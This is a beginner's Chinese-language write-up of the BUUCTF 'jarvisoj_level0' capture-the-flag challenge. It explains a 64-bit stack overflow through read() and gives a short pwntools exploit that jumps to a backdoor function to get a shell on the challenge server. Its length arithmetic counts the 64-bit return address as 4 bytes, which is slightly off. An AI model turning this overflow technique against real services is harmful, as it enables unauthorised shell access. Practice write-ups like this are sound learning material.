日行一PWN jarvisoj_level0

313 阅读2分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路

还是来自于BUUCTF的机器,今天的很简单,就是单纯的考察了read函数的漏洞,以及对64位寄存器的理解

开始

image-20220514144331365.png

首先还是经典查壳和内存保护,发现啥也没有,是很简单的机器。然后IDA反编译一下,由于是64位的软件所以需要IDA64

main函数

image-20220514144452343.png

首先可以看到主函数中知识调用了write函数,并输出了Hello, Worldn这么几个字到终端。

之后调用了vulnerable_function函数

因为反汇编并不会给出类似于write这种函数的定义,

所以需要熟悉汇编的同学自行根据效果来判断各寄存器中值的作用。

edx是控制输出字符的长度

esi则是源字符串的标志地址

edi是输出的位置,大家可能比较熟悉 C://file.txt这种形式,这里的1表示输出到终端

Vulnerable_Function函数

image-20220514145400639.png

此处是漏洞函数,看上去read做了长度限制,但其实一点用也没有

可以在最上面看到buf定义的段是0-80h这么一段,而read最大长度给到了200h,所以可以造成栈溢出,执行任意函数。

image-20220514145738060.png

内存摆放顺序

思路

那么思路就是覆盖0-80h这一段的位置再覆盖rbp的位置,最后在返回处放上想执行的函数就可以了

需要的长度是

80h(栈长度)+8(64位寄存器长度)+ 4 (返回地址)=8Ch < 200h

但由于开启了NX able,导致我们不能自己写入回连脚本,只能找一个官方后门

可以执行的函数

image-20220514150237460.png

callsystem函数

很简单的调用了系统的shell拿到他的偏移地址 400596就可以开始布置exp了

结束

按照上面的思路,可以简单的使用pwntools构造出一个简单的exp

from pwn import *

p = remote('node4.buuoj.cn','28207')

payload = "I" * 128 +"AAAAAAAA" + p64(0x400596)
p.sendline(payload)

p.interactive()

初学者,写的有什么不对还请读者朋友不吝赐教。